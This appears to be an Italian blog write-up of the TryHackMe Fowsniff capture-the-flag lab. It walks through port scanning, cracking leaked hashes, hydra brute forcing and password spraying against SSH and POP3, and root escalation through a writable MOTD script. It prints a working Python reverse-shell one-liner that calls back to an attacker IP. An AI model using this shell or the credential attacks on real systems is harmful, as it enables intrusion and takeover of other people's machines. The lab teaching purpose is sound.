Fowsniff CTF, un hack semplice, semplice

In questa nuova guida impareremo ad usare un tool online per scoprire delle password sotto forma di hash; in seguito useremo le credenziali scoperte insieme al tool hydra per violare un server di posta e tramite questo trovare informazioni interessanti per lanciare un attacco di Password Spraying, una modalità di attacco che usa una sola password contro una lista di username.

Infine avuto accesso al server della nostra vittima potremo cominciare le attività di Privilege Escalation per ottenere i permessi di amministratore(root).

Link: https://tryhackme.com/room/ctf

Obbiettivo: il file “flag.txt” nella directory “root

Partiamo con una scansione delle porte grazie al tool “nmap“:

  • -sT è il metodo di scansione di default;
  • -A richiede di verificare principalmente la versione dei servizi trovati e il sistema operativo della macchina;
  • -p- estende la scansione a tutte le porte.

Il risultato ci informa che sono aperte le porte:

  • 22/tcp quindi è utilizzato il protocollo SSH per la connessione da remoto;
  • 80/tcp è la porta del protocollo HTTP che indica la presenza di un web-server;
  • 110/tcp la porta di comunicazione del protocollo POP3 utilizzato per i servizi di posta;
  • 143/tcp anche questa porta che ospita il protocollo IMAP è utilizzata per i servizi di posta.

Mettiamo da parte per il momento la porta 22/tcp, perché per accedere tramite SSH alla macchina ci servono delle credenziali valide e concentriamoci sul web server ospitato alla porta 80. La pagina e la sua sorgente non offrono informazioni tecniche da sfruttare, ma ci svelano che la azienda è stata violata e che i suoi dati sono stati messi online. Per questo motivo apriamo google e proviamo a cercare informazioni sulla azienda Fowsniff trovando questo interessantissimo link che ci mette a disposizione una lista di username con le hash delle password.

Una hash è il metodo con cui le password vengono salvate crittografate all’interno dei sistemi, per approfondire potete consultare questo articolo.

Copiamo le hash nel sito crackstation.net per ottenere le password. A questo punto creiamo due file uno con il nome user.txt contenente solo gli username senza il dominio @fowsniff e un altro file, pass.txt, che contiene le password; poi lanciamo il tool “hydra” per verificare se con queste credenziali possiamo connetterci attraverso la porta 22/tcp SSH:

  • -L indica che stiamo fornendo una lista di username;
  • -P indica che stiamo fornendo una lista di password;
  • ssh://10.10.57.127 fornisce al tool l’IP del nostro bersaglio e il servizio da violare.

Niente da fare!

Per ora i tentativi di connetterci via SSH sono un buco nell’acqua; passiamo ad analizzare la porta 110/tcp sul quale è in ascolto un server di posta elettronica che sfrutta il protocollo POP3.

La stanza chiede di usare “metasploit” per verificare la possibilità di connettersi al server di posta, ma noi useremo ancora “hydra” perché è molto più veloce. La sintassi è simile a quella usata precedentemente solo che invece di “ssh” useremo “pop3“; ed ecco che aspettando poco più di un minuto abbiamo scovato una coppia di credenziali utili per accedere alla casella di posta di uno degli impiegati.

E’ il momento di curiosare tra le mail del nostro utente; per far questo ci connetteremo al server grazie al tool “nc” che ha una sintassi molto semplice, “nc IP Port” e per dialogare con il server useremo i comandi:

  • USER seguito dal nome utente;
  • PASS seguito dalla password per autenticarci;
  • LIST per scoprire che ci sono due mail da leggere
  • RETR 1 per leggere il primo messaggio e trovare al suo interno una password provvisoria fornita dall’IT manager per connettersi via SSH.

Tutti gli utenti si saranno ricordati di cambiarla con una nuova e personale dopo essersi connessi la prima volta?

Disconnettiamoci dal server mail con il comando QUIT e prepariamo “hydra“per un attacco di Password Spraying, come specificato sopra l’attacco tenta di trovare una accoppiata “username:password” valida provando una stessa password contro una lista di utenti.

Per far questo invece dell’opzione -P useremo l’opzione -p seguita dalla password recuperata dalla mail che abbiamo letto. Lanciamo il nostro attacco e dopo qualche secondo ecco che da un gentile e sprovveduto utente ci vengono fornite delle credenziali valide per accedere alla macchina via SSH.

Adesso finalmente non ci resta che connetterci via SSH e venire accolti da una schermata che ci informa di contattare un amministratore di rete per cambiare la nostra password, ma per il nostro utente ormai è troppo tardi!

E’ ora di fare Privilege Escalation e trovare la via verso il nostro obbiettivo!

Curiosando tra i file e le cartelle del sistema possiamo trovare sotto la cartella “opt/cube” un interessante script “cube.sh” che indica al sistema di stampare a schermo il nome dell’azienda come lo abbiamo visto quando ci siamo connessi via SSH. Controlliamo i privilegi di questo file per scoprire che abbiamo la possibilità di modificarlo.

A questo punto bisogna fermarsi a riflettere!

Ogni volta che un utente si connette via SSH viene avviato lo script “cube.sh“, quindi qualsiasi comando noi dovessimo inserirvi dentro verrebbe automaticamente lanciato.

Interessantissimo!!!!

Cercando online possiamo scoprire che nei sistemi linux per fornire banner e messaggi agli utenti che si loggano da remoto gli amministratori di sistema usano i file salvati nella directory “etc” sotto la cartella “update-motd.d“. Andiamo a verificare il contenuto della cartella e troveremo che il file “00-header” lancia lo script “cube.sh” con i privilegi di amministratore(root).

A questo punto lo schema dell’attacco è semplice.

Per prima cosa con un editor di testo modifichiamo lo script “cube.sh” aggiungendo una reverse shell in python:

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP_Attaccante”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Salviamo il file “cube.sh“, poi avviamo sulla nostra macchina una sessione di ascolto in “nc“:

  • -l attiva la modalità di ascolto (listener);
  • -v restituisce un output testuale(verbose);
  • -n gestisce solo gli IP senza risoluzione DNS;
  • -p specifica la porta sulla quale rimanere in ascolto(port)

Fatto questo non ci resta che riconnetterci tramite SSH al server della nostra vittima per ritrovarci una bella shell con i diritti di amministratore.

Ed ecco conquistata la nostra bella bandiera.

Missione compiuta!!!

Articolo creato 84

Articoli correlati

Inizia a scrivere il termine ricerca qua sopra e premi invio per iniziare la ricerca. Premi ESC per annullare.

Torna in alto